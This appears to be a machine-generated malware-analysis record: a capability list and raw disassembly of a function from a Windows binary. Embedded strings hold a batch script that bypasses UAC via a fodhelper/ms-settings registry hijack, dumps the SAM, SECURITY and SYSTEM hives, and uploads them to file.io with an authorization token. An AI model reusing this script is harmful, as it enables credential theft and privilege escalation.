Function at 0x1400033ad
Capabilities:
Check if file exists
Create process on windows
Generate random numbers via rtlgenrandom
Get file attributes
Persist via default file association registry key
Self delete
Set file attributes
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x140], xmm6
mov qword [rbp + 0x128], 0xfffffffffffffffe
mov qword [0x140161f40], rdx
mov ecx, 0x10
call fcn.1400217e0
mov rsi, rax
mov qword [rax], 0
mov qword [rax + 8], 0
mov ecx, 0x18
call fcn.1400217e0
movaps xmm0, xmmword [0x14005f560]
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov qword [rsi + 8], rax
mov dword [rsi], 0x40
mov qword [0x140161f48], rsi
mov byte [0x140161f50], 1
lea rdx, [0x140161f60]
lea r8, [0x140003530]
mov rcx, rsi
call fcn.140020300
mov rsi, qword [0x140161f58]
mov rcx, rsi
call fcn.140003560
mov rax, qword [rsi + 0x10]
movsxd rcx, dword [rsi + 4]
lea rdx, [0x140060050]
mov qword [rax + rcx*8], rdx
mov eax, dword [rsi + 4]
inc eax
jo 0x140002ebf
mov dword [rsi + 4], eax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162148]
lea r8, [0x140016490]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rsi, [0x140161f60]
lea rdi, [0x140003530]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov rcx, qword [0x140161f48]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov rsi, qword [0x140161f58]
mov rcx, rsi
call fcn.140003560
mov rax, qword [rsi + 0x10]
movsxd rcx, dword [rsi + 4]
lea rdx, [0x140060e60]
mov qword [rax + rcx*8], rdx
mov eax, dword [rsi + 4]
inc eax
jo 0x140002ebf
mov dword [rsi + 4], eax
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f60]
lea r8, [0x140003530]
call fcn.140020300
mov rsi, qword [0x140161f58]
mov rcx, rsi
call fcn.140003560
mov rax, qword [rsi + 0x10]
movsxd rcx, dword [rsi + 4]
lea rdx, [0x140060ec0]
mov qword [rax + rcx*8], rdx
mov eax, dword [rsi + 4]
inc eax
jo 0x140002ebf
mov dword [rsi + 4], eax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162168]
lea r8, [0x1400169f0]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rsi, [0x1401620e0]
lea rdi, [0x14000b7f0]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov rcx, qword [0x140161f48]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov ecx, 8
call fcn.1400217e0
mov rsi, rax
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f72]
lea r8, [0x140003d50]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f70]
lea r8, [0x140003d10]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f78]
lea r8, [0x140003d60]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f80]
lea r8, [0x140003da0]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f68]
lea r8, [0x140003c90]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161fd8]
lea r8, [0x14000a2b0]
call fcn.140020300
mov ecx, 0x20
call fcn.1400217e0
mov rdi, rax
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov ecx, 0x30
call fcn.1400217e0
mov rbx, rax
mov qword [rax + 4], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x14], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x24], 0
mov dword [rax + 0x2c], 0
mov dword [rax], 0x6a
lea rcx, [rax + 8]
mov edx, 0x3e8
call sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount
mov qword [rsp + 0x20], 0
lea rdx, [0x140016d20]
mov rcx, rbx
xor r8d, r8d
xor r9d, r9d
call fcn.140022880
mov qword [rdi + 0x18], rbx
mov dword [rdi], 0x6c
mov qword [0x140162170], rdi
mov ecx, 0xfde9
call sub.KERNEL32.dll_IsValidCodePage
test eax, eax
je 0x140001387
call sub.KERNEL32.dll_GetConsoleCP
mov dword [rsi], eax
mov ecx, 0xfde9
call sub.KERNEL32.dll_SetConsoleCP
test eax, eax
je 0x140001362
lea rcx, [0x140016d30]
mov rdx, rsi
call fcn.140016d40
call sub.KERNEL32.dll_GetConsoleOutputCP
mov dword [rsi + 4], eax
mov ecx, 0xfde9
call sub.KERNEL32.dll_SetConsoleOutputCP
test eax, eax
je 0x140001387
lea rcx, [0x140016f50]
mov rdx, rsi
call fcn.140016d40
lea rcx, [rbp + 0x60]
call sub.KERNEL32.dll_GetNativeSystemInfo
mov eax, 0x10000
add eax, dword [rbp + 0x64]
jb 0x140002ebf
mov dword [0x140162180], eax
mov ecx, 0x18
call fcn.1400217e0
mov rsi, rax
mov qword [rax + 4], 0
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov dword [rax], 0x75
mov ecx, 0x18
call fcn.1400217e0
mov qword [rax], 0x87
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
mov qword [rsi + 8], rax
mov ecx, 0x30
call fcn.1400217e0
mov rdi, rax
mov qword [rax + 4], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x14], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x24], 0
mov dword [rax + 0x2c], 0
mov dword [rax], 0x6a
lea rcx, [rax + 8]
mov edx, 0x3e8
call sub.KERNEL32.dll_InitializeCriticalSectionAndSpinCount
mov qword [rsp + 0x20], 0
lea rdx, [0x140016d20]
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call fcn.140022880
mov qword [rsi + 0x10], rdi
mov qword [0x140162188], rsi
mov rcx, qword [0x140161f48]
lea rdx, [0x140162158]
lea r8, [0x140016530]
call fcn.140020300
mov byte [0x140162190], 1
mov byte [0x140162191], 1
mov byte [0x140162192], 1
mov byte [0x140162193], 1
lea rax, [0x140018430]
mov qword [0x1401621a0], rax
mov qword [0x1401621a8], 0
call fcn.140023190
mov qword [0x1401621b0], rax
mov qword [0x1401621b8], 0
lea rcx, [0x140018530]
call fcn.140023d00
lea rcx, [0x1401620e8]
mov edx, 0x10
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x140002feb
movabs rax, 0x8000000000000000
mov qword [0x1401621c8], rax
mov qword [0x1401621c0], 0
movabs rax, 0x7fffffffffffffff
mov qword [0x1401621d8], rax
mov qword [0x1401621d0], 0xffffffffffffffff
mov qword [0x1401621e8], 0
mov qword [0x1401621e0], 0
mov qword [0x1401621f8], 0xffffffffffffffff
mov qword [0x1401621f0], 0xffffffffffffffff
xor ecx, ecx
call fcn.140018590
mov qword [0x140162200], rax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162228]
lea r8, [0x14001aa40]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140162238]
lea r8, [0x14001b3c0]
call fcn.140020300
lea rcx, [0x140061440]
lea rdx, [0x14001bf60]
xor r8d, r8d
call fcn.14001c3f0
mov rcx, qword [0x140161f48]
lea rdx, [0x140162241]
lea r8, [0x14001dc30]
call fcn.140020300
mov al, 1
xchg byte [0x140162240], al
test al, al
jne 0x1400015ef
lea rcx, [0x1400616b0]
lea rdx, [0x14001dc40]
xor r8d, r8d
call fcn.14001c3f0
lea rcx, [0x140060100]
call fcn.140003de0
test rax, rax
je 0x140001656
lea rcx, [0x140060628]
cmp rax, rcx
je 0x140001618
cmp dword [rax + 4], 1
jne 0x140001656
cmp byte [rax + 0xc], 0x31
jne 0x140001656
lea rcx, [0x140060100]
call fcn.140003de0
test rax, rax
je 0x140001641
lea rcx, [0x140060448]
cmp rax, rcx
je 0x140001656
cmp dword [rax + 4], 1
jne 0x140001641
cmp byte [rax + 0xc], 0x30
je 0x140001656
cmp byte [0x140161fa0], 0
jne 0x140001656
mov byte [0x140161fa0], 1
call fcn.1400074b0
lea rdx, [0x14001e0c0]
mov ecx, 1
call sub.KERNEL32.dll_AddVectoredExceptionHandler
mov dword [rbp + 0x60], 0x10000
lea rcx, [rbp + 0x60]
call sub.KERNEL32.dll_SetThreadStackGuarantee
mov rcx, qword [0x140161f48]
lea rdx, [0x140162120]
lea r8, [0x140012f50]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140162250]
lea r8, [0x14001dfd0]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140162241]
lea r8, [0x14001dc30]
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x140161f60]
lea r8, [0x140003530]
call fcn.140020300
mov rsi, qword [0x140161f58]
mov rcx, rsi
call fcn.140003560
mov rax, qword [rsi + 0x10]
movsxd rcx, dword [rsi + 4]
lea rdx, [0x140061850]
mov qword [rax + rcx*8], rdx
mov eax, dword [rsi + 4]
inc eax
jo 0x140002ebf
mov dword [rsi + 4], eax
lea rcx, [rbp + 0x60]
mov edx, 8
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x140002feb
mov rsi, qword [rbp + 0x60]
lea rcx, [rbp + 0x60]
mov edx, 8
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x140002feb
mov rdi, qword [rbp + 0x60]
mov ecx, 0x18
call fcn.1400217f0
mov qword [rax], 0xa0
lea rcx, [rdi + rdi + 1]
mov qword [rax + 0x10], rcx
lea rcx, [rsi + rdi*2 + 1]
movabs rdx, 0x5851f42d4c957f2d
imul rdx, rcx
lea rcx, [rdx + rdi*2 + 1]
mov qword [rax + 8], rcx
mov qword [0x140162268], rax
mov ecx, 0x38
call fcn.1400217e0
mov qword [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 4], 0
mov dword [rax + 0x24], 0
mov dword [rax], 0x12
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rax + 8], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov byte [rax + 0x20], 1
mov qword [0x140162270], rax
mov ecx, 0x38
call fcn.1400217e0
mov qword [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 4], 0
mov dword [rax + 0x24], 0
mov dword [rax], 0x13
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rax + 8], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov byte [rax + 0x20], 1
mov qword [0x140162278], rax
mov ecx, 0x25
call fcn.1400217f0
mov rsi, rax
lea rbx, [rax + 0xc]
mov ecx, 0xb
mov rdx, rbx
call fcn.140020c40
mov edi, eax
dec edi
jo 0x140002ebf
cmp edi, 0x19
jae 0x140003086
mov eax, edi
mov byte [rbx + rax], 0
cmp edi, 0x18
je 0x14000189e
lea edx, [rdi + 0xd]
mov rcx, rsi
call fcn.1400246a0
mov rsi, rax
mov dword [rsi], 1
mov dword [rsi + 4], edi
mov dword [rsi + 8], edi
mov rcx, rsi
mov edx, 0x2e
xor r8d, r8d
call fcn.140003f60
test eax, eax
je 0x140003013
mov rdi, rdx
mov rcx, rsi
mov edx, 0x20
mov r8d, edi
call fcn.140003f60
test eax, eax
je 0x140003013
mov rbx, rdx
mov rcx, rsi
xor edx, edx
mov r8d, edi
call fcn.14000a810
test rax, rax
je 0x140003027
mov rcx, rax
call fcn.14001e660
mov edx, edi
inc edx
jo 0x140002ebf
sub ebx, edi
jo 0x140002ebf
dec ebx
jo 0x140002ebf
mov rcx, rsi
mov r8d, ebx
call fcn.14000a810
test rax, rax
je 0x140003027
mov rcx, rax
call fcn.14001e660
mov ecx, 0x38
call fcn.1400217e0
mov rsi, rax
mov qword [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 4], 0
mov dword [rax + 0x24], 0
mov dword [rax], 0x1c
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rax + 8], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov byte [rax + 0x20], 1
mov ecx, 4
call fcn.1400217f0
mov dword [rax], 0x76
mov qword [0x140162280], rsi
mov qword [0x140162288], rax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162218]
lea r8, [0x140019ed0]
call fcn.140020300
lea rcx, [0x1400618f0]
call fcn.140004c00
mov dword [0x140162290], eax
mov qword [0x140162298], rcx
and dl, 1
mov byte [0x140162294], dl
lea rcx, [0x140061938]
call fcn.140004c00
mov dword [0x1401622a0], eax
mov qword [0x1401622a8], rcx
and dl, 1
mov byte [0x1401622a4], dl
lea rcx, [0x140061948]
call fcn.140004c00
mov dword [0x1401622b0], eax
mov qword [0x1401622b8], rcx
and dl, 1
mov byte [0x1401622b4], dl
movaps xmm0, xmmword [0x14005f570]
movaps xmmword [0x1401622c0], xmm0
movaps xmm0, xmmword [0x14005f580]
movaps xmmword [0x1401622d0], xmm0
movaps xmm1, xmmword [0x14005f590]
movaps xmmword [0x1401622e0], xmm1
mov dword [0x1401622f0], 0x1f
movaps xmm2, xmmword [0x14005f5a0]
movaps xmmword [0x140162300], xmm2
movaps xmmword [0x140162310], xmm0
movaps xmmword [0x140162320], xmm1
mov dword [0x140162330], 0x1f
mov rcx, qword [0x140161f48]
lea rsi, [0x140162360]
lea rdi, [0x14001eb40]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov rax, qword [0x140162358]
movabs rcx, 0xe7791f700
mov qword [0x140162340], rcx
mov qword [0x140162350], rax
mov dword [0x140162348], 0
mov ecx, 0x18
call fcn.1400217e0
mov rbx, rax
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov qword [rax], 3
mov dword [rax + 8], 0xc
mov ecx, 0x60
call fcn.1400217e0
mov qword [rbx + 0x10], rax
mov dword [rbx + 4], 0xc
lea rcx, [0x140061970]
mov qword [rax], rcx
lea rcx, [0x140061990]
mov qword [rax + 8], rcx
lea rcx, [0x1400619b0]
mov qword [rax + 0x10], rcx
lea rcx, [0x1400619d0]
mov qword [rax + 0x18], rcx
lea rcx, [0x1400619e8]
mov qword [rax + 0x20], rcx
lea rcx, [0x140061a00]
mov qword [rax + 0x28], rcx
lea rcx, [0x140061a20]
mov qword [rax + 0x30], rcx
lea rcx, [0x140061a40]
mov qword [rax + 0x38], rcx
lea rcx, [0x140061a60]
mov qword [rax + 0x40], rcx
lea rcx, [0x140061a80]
mov qword [rax + 0x48], rcx
lea rcx, [0x140061aa0]
mov qword [rax + 0x50], rcx
lea rcx, [0x140061ac0]
mov qword [rax + 0x58], rcx
mov qword [0x140162368], rbx
mov ecx, 0x18
call fcn.1400217e0
mov rbx, rax
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov qword [rax], 3
mov dword [rax + 8], 7
mov ecx, 0x38
call fcn.1400217e0
mov qword [rbx + 0x10], rax
mov dword [rbx + 4], 7
lea rcx, [0x140061ae0]
mov qword [rax], rcx
lea rcx, [0x140061b00]
mov qword [rax + 8], rcx
lea rcx, [0x140061b20]
mov qword [rax + 0x10], rcx
lea rcx, [0x140061b40]
mov qword [rax + 0x18], rcx
lea rcx, [0x140061b60]
mov qword [rax + 0x20], rcx
lea rcx, [0x140061b80]
mov qword [rax + 0x28], rcx
lea rcx, [0x140061ba0]
mov qword [rax + 0x30], rcx
mov qword [0x140162370], rbx
mov ecx, 0x38
call fcn.1400217e0
mov qword [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 4], 0
mov dword [rax + 0x24], 0
mov dword [rax], 0x1b
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rax + 8], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov byte [rax + 0x20], 1
mov qword [0x140162378], rax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162362]
lea r8, [0x14001ec90]
call fcn.140020300
mov rcx, qword [0x140161f48]
mov rdx, rsi
mov r8, rdi
call fcn.140020300
mov rcx, qword [0x140161f48]
lea rdx, [0x14016221a]
lea r8, [0x14001a240]
call fcn.140020300
lea rcx, [0x140061bc0]
call fcn.140003de0
test rax, rax
je 0x14000309a
mov rbx, rax
lea rax, [0x140060608]
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x68], 1
call fcn.14000bce0
lea rcx, [rbp + 0x60]
mov rdx, rax
call fcn.14000bd80
mov rcx, rax
xor edx, edx
call fcn.14000da10
mov r14d, eax
lea r8, [0x140061c20]
mov ecx, eax
mov rdx, rbx
call fcn.14001ee80
mov rsi, rax
lea r8, [0x140061c50]
mov ecx, r14d
mov rdx, rbx
call fcn.14001ee80
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.14001efb0
cmp dword [rbp - 0x20], 0
je 0x140001d83
mov rax, qword [rbp + 0x18]
shr rax, 0x20
cmp eax, 1
jne 0x140001d83
mov rax, qword [rbp - 0x18]
mov ecx, eax
and ecx, 0x400
jne 0x140001d83
and eax, 0x10
jne 0x140001d98
lea r8, [0x140061ce0]
mov ecx, r14d
mov rdx, rbx
call fcn.14001ee80
mov rsi, rax
lea rdx, [0x1400620e0]
mov rcx, rsi
mov r8w, 0x1a4
call fcn.14001f490
cmp byte [rax + 0x3d], 1
je 0x1400030c5
mov rbx, rax
cmp byte [rax + 0x64], 1
mov qword [rbp + 0x110], rsi
jne 0x140001de2
lea r9, str._echo_off_r_nset_lldir_TMP__r_nset_ddirpath_lldir_winupl_r_nset_dfilepath_lldir_uplx.zip_r_nmkdir__ddirpath__r_nattrib_h__S__D__ddirpath__r_ncurl_ip_api.com____ddirpath_ipinfo.txt_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__ve__t_REG_SZ__d__C:WindowsSystem32cmd.exe__Q__C_reg_save_hklm_sam__ddirpath__sam.save__reg_save_hklm_security__ddirpath__sec.save__reg_save_hklm_system__ddirpath__sys.save___f_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__v_DelegateExecute__t_REG_SZ__d_____f_r_ntimeout__t_2__nobreak___nul_r_nfodhelper.exe_r_ntimeout__t_2__nobreak___nul_r_npowershell__C_Compress_Archive__Path__ddirpath___DestinationPath__dfilepath__r_ncurl__X_POST__H__Authorization:_YKOFTMK.NR1JE6T_3EH4GKC_GN8TAGE_BXQJAF4___F__file__dfilepath___https:__file.io_r_ntimeout__t_1__nobreak___nul_r_nreg_delete_HKCUSoftwareClassesms_settingsShell__f_r_nattrib__h__ddirpath__r_nattrib__h__dfilepath__r_nrmdir__S__Q__ddirpath__r_ndel__Q__dfilepath_
mov rcx, rbx
mov edx, 0x3bd
mov r8b, 1
call fcn.14001f9d0
jmp 0x140001f43
cmp byte [rbx + 0x66], 1
jne 0x140001ea3
mov edx, dword [rbx + 0x60]
test edx, edx
jle 0x140001e21
mov r9, qword [rbx + 0x48]
test r9, r9
jne 0x140001e16
mov ecx, dword [rbx + 0x68]
test ecx, ecx
js 0x140002ebf
call fcn.1400217f0
mov r9, rax
mov qword [rbx + 0x48], rax
mov edx, dword [rbx + 0x60]
mov rcx, rbx
xor r8d, r8d
call fcn.14001f9d0
mov dword [rbx + 0x60], 0
lea r9, str._echo_off_r_nset_lldir_TMP__r_nset_ddirpath_lldir_winupl_r_nset_dfilepath_lldir_uplx.zip_r_nmkdir__ddirpath__r_nattrib_h__S__D__ddirpath__r_ncurl_ip_api.com____ddirpath_ipinfo.txt_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__ve__t_REG_SZ__d__C:WindowsSystem32cmd.exe__Q__C_reg_save_hklm_sam__ddirpath__sam.save__reg_save_hklm_security__ddirpath__sec.save__reg_save_hklm_system__ddirpath__sys.save___f_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__v_DelegateExecute__t_REG_SZ__d_____f_r_ntimeout__t_2__nobreak___nul_r_nfodhelper.exe_r_ntimeout__t_2__nobreak___nul_r_npowershell__C_Compress_Archive__Path__ddirpath___DestinationPath__dfilepath__r_ncurl__X_POST__H__Authorization:_YKOFTMK.NR1JE6T_3EH4GKC_GN8TAGE_BXQJAF4___F__file__dfilepath___https:__file.io_r_ntimeout__t_1__nobreak___nul_r_nreg_delete_HKCUSoftwareClassesms_settingsShell__f_r_nattrib__h__ddirpath__r_nattrib__h__dfilepath__r_nrmdir__S__Q__ddirpath__r_ndel__Q__dfilepath_
mov rcx, rbx
mov edx, 0x3ab
mov r8b, 1
call fcn.14001f9d0
lea r15, [0x1400620c7]
mov r14d, 0x12
mov edx, dword [rbx + 0x60]
mov ecx, dword [rbx + 0x68]
cmp r14d, ecx
jl 0x140001ebb
test edx, edx
jle 0x140001e86
mov r9, qword [rbx + 0x48]
test r9, r9
jne 0x140001e7b
test ecx, ecx
js 0x140002ebf
call fcn.1400217f0
mov r9, rax
mov qword [rbx + 0x48], rax
mov edx, dword [rbx + 0x60]
mov rcx, rbx
xor r8d, r8d
call fcn.14001f9d0
mov dword [rbx + 0x60], 0
mov rcx, rbx
mov edx, r14d
mov r8b, 1
mov r9, r15
call fcn.14001f9d0
jmp 0x140001f43
lea r15, str._echo_off_r_nset_lldir_TMP__r_nset_ddirpath_lldir_winupl_r_nset_dfilepath_lldir_uplx.zip_r_nmkdir__ddirpath__r_nattrib_h__S__D__ddirpath__r_ncurl_ip_api.com____ddirpath_ipinfo.txt_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__ve__t_REG_SZ__d__C:WindowsSystem32cmd.exe__Q__C_reg_save_hklm_sam__ddirpath__sam.save__reg_save_hklm_security__ddirpath__sec.save__reg_save_hklm_system__ddirpath__sys.save___f_r_nreg_add_HKCUSoftwareClassesms_settingsShellOpencommand__v_DelegateExecute__t_REG_SZ__d_____f_r_ntimeout__t_2__nobreak___nul_r_nfodhelper.exe_r_ntimeout__t_2__nobreak___nul_r_npowershell__C_Compress_Archive__Path__ddirpath___DestinationPath__dfilepath__r_ncurl__X_POST__H__Authorization:_YKOFTMK.NR1JE6T_3EH4GKC_GN8TAGE_BXQJAF4___F__file__dfilepath___https:__file.io_r_ntimeout__t_1__nobreak___nul_r_nreg_delete_HKCUSoftwareClassesms_settingsShell__f_r_nattrib__h__ddirpath__r_nattrib__h__dfilepath__r_nrmdir__S__Q__ddirpath__r_ndel__Q__dfilepath_
mov r14d, 0x3bd
mov edx, dword [rbx + 0x60]
mov ecx, dword [rbx + 0x68]
cmp r14d, ecx
jge 0x140001e57
mov eax, ecx
sub eax, edx
jo 0x140002ebf
cmp r14d, eax
jle 0x140001f04
test edx, edx
jle 0x140001efb
mov r9, qword [rbx + 0x48]
test r9, r9
jne 0x140001ef0
test ecx, ecx
js 0x140002ebf
mov ecx, ecx
call fcn.1400217f0
mov r9, rax
mov qword [rbx + 0x48], rax
mov edx, dword [rbx + 0x60]
mov rcx, rbx
xor r8d, r8d
call fcn.14001f9d0
mov dword [rbx + 0x60], 0
xor edx, edx
mov rax, qword [rbx + 0x48]
test rax, rax
jne 0x140001f24
mov ecx, dword [rbx + 0x68]
test ecx, ecx
js 0x140002ebf
call fcn.1400217f0
mov qword [rbx + 0x48], rax
mov edx, dword [rbx + 0x60]
movsxd rcx, edx
add rcx, rax
mov r8d, r14d
mov rdx, r15
call fcn.1400434e0
add r14d, dword [rbx + 0x60]
jo 0x140002ebf
mov dword [rbx + 0x60], r14d
mov rcx, rbx
call fcn.14001f930
mov ecx, 0x40
call fcn.1400217e0
mov rsi, rax
mov qword [rax + 4], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x14], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x2c], 0
mov qword [rax + 0x34], 0
mov dword [rax + 0x3c], 0
mov dword [rax], 0x86
mov rdi, qword [0x140162200]
mov ecx, 0x18
call fcn.1400217e0
mov qword [rax + 0x10], rsi
mov dword [rax], 2
mov rcx, qword [0x140161f48]
lea rdx, [0x140162228]
lea r14, [0x14001aa40]
mov r8, r14
call fcn.140020300
mov rbx, qword [0x140162220]
mov ecx, 0x18
call fcn.1400217e0
mov qword [rax + 0x10], rsi
mov dword [rax], 2
mov rcx, qword [0x140161f48]
lea r15, [0x140162238]
lea r12, [0x14001b3c0]
mov rdx, r15
mov r8, r12
call fcn.140020300
mov r13, qword [0x140162230]
mov ecx, 0x18
call fcn.1400217e0
mov qword [rbp + 0x118], rsi
mov qword [rax + 0x10], rsi
mov dword [rax], 2
mov qword [rbp + 0x98], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov dword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov dword [rbp + 0x60], 0x68
mov dword [rbp + 0x9c], 0x100
mov qword [rbp + 0x30], rdi
mov rcx, rdi
call fcn.1400200b0
mov qword [rbp + 0xb0], rax
mov rcx, qword [0x140161f48]
lea rdx, [0x140162228]
mov r8, r14
call fcn.140020300
mov qword [rbp + 0x38], rbx
mov rcx, rbx
call fcn.1400200b0
mov qword [rbp + 0xb8], rax
mov rcx, qword [0x140161f48]
mov rdx, r15
mov r8, r12
call fcn.140020300
mov qword [rbp + 0x28], r13
mov rcx, r13
call fcn.1400200b0
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 0
mov rdi, qword [rbp + 0x110]
cmp dword [rdi], 1
mov rbx, rdi
je 0x140002810
mov ecx, 0x50
call fcn.1400217e0
mov r12, rax
mov qword [rax + 4], 0
mov qword [rax + 0xc], 0
mov qword [rax + 0x14], 0
mov qword [rax + 0x1c], 0
mov qword [rax + 0x24], 0
mov qword [rax + 0x2c], 0
mov qword [rax + 0x34], 0
mov qword [rax + 0x3c], 0
mov qword [rax + 0x44], 0
mov dword [rax + 0x4c], 0
mov dword [rax], 0x65
mov ecx, 0x4d
call fcn.1400217f0
mov qword [r12 + 0x40], rax
movabs rax, 0x4d00000000
mov qword [r12 + 0x38], rax
mov byte [r12 + 0x48], 0
cmp dword [rdi + 4], 0
jle 0x140002805
xorps xmm6, xmm6
xor esi, esi
jmp 0x1400021d7
mov rcx, r12
mov dl, 0x22
call fcn.1400065f0
mov rsi, qword [rbp + 0xc8]
inc rsi
movsxd rax, dword [rdi + 4]
cmp rsi, rax
jge 0x140002805
mov rax, qword [rdi + 0x10]
mov r14, qword [rax + rsi*8]
test rsi, rsi
je 0x14000220a
mov byte [rbp + 0xd0], 0x20
cmp dword [r12 + 8], 0
je 0x140002240
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
cmp dword [r14 + 4], 0
je 0x140002260
mov rcx, r14
mov edx, 0x20
xor r8d, r8d
call fcn.140003f60
test eax, eax
jne 0x140002260
xor edi, edi
mov rcx, r14
mov edx, 9
xor r8d, r8d
call fcn.140003f60
test eax, eax
jne 0x140002260
jmp 0x14000229d
mov rcx, r12
mov dl, 0x20
call fcn.1400065f0
cmp dword [r14 + 4], 0
jne 0x140002211
nop word cs:[rax + rax]
nop dword [rax + rax]
mov byte [rbp + 0xd0], 0x22
cmp dword [r12 + 8], 0
je 0x140002290
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
jmp 0x14000229a
mov rcx, r12
mov dl, 0x22
call fcn.1400065f0
mov dil, 1
mov rcx, r14
call fcn.140004360
test al, 1
mov qword [rbp + 0xc8], rsi
mov dword [rbp + 0x108], edi
je 0x140002410
mov esi, dword [r14 + 4]
test esi, esi
jle 0x14000276c
xor edi, edi
xor r15d, r15d
jmp 0x1400022e7
mov rcx, r12
mov edx, r13d
call fcn.1400065f0
inc rdi
cmp rdi, rsi
je 0x14000276f
movzx ebx, byte [r14 + rdi + 0xc]
test bl, bl
mov r13d, ebx
mov eax, 0xfffd
cmovs r13d, eax
cmp r13d, 0x22
je 0x140002320
cmp r13d, 0x5c
jne 0x140002370
inc r15d
jno 0x140002379
jmp 0x140002ebf
inc r15d
jo 0x140002ebf
test r15d, r15d
jg 0x14000233f
jmp 0x140002370
mov rcx, r12
mov dl, 0x5c
call fcn.1400065f0
dec r15d
je 0x140002370
mov byte [rbp + 0xd0], 0x5c
cmp dword [r12 + 8], 0
je 0x140002330
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
dec r15d
jne 0x14000233f
nop word [rax + rax]
xor r15d, r15d
cmp r13d, 0x7f
ja 0x1400023b0
mov byte [rbp + 0x127], r13b
cmp dword [r12 + 8], 0
je 0x1400022d0
mov rcx, r12
mov edx, 1
xor r8d, r8d
lea r9, [rbp + 0x127]
call fcn.1400061d0
jmp 0x1400022db
test bl, bl
js 0x1400023c6
shr bl, 6
or bl, 0xc0
mov edx, 2
mov eax, 1
jmp 0x1400023d9
mov byte [rbp + 0xd1], 0xbf
mov edx, 3
mov eax, 2
mov bl, 0xef
mov byte [rbp + 0xd0], bl
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + rax + 0xd0], r13b
xor r15d, r15d
mov rcx, r12
xor r8d, r8d
lea r9, [rbp + 0xd0]
call fcn.1400061d0
jmp 0x1400022db
mov dword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
mov byte [rbp + 0xf8], 0
movaps xmmword [rbp + 0xd0], xmm6
mov dword [rbp + 0xe0], 0
xor r15d, r15d
lea rcx, [rbp + 0xd0]
mov rdx, r14
xor r8d, r8d
call fcn.140004580
mov rdi, qword [rbp + 0xd0]
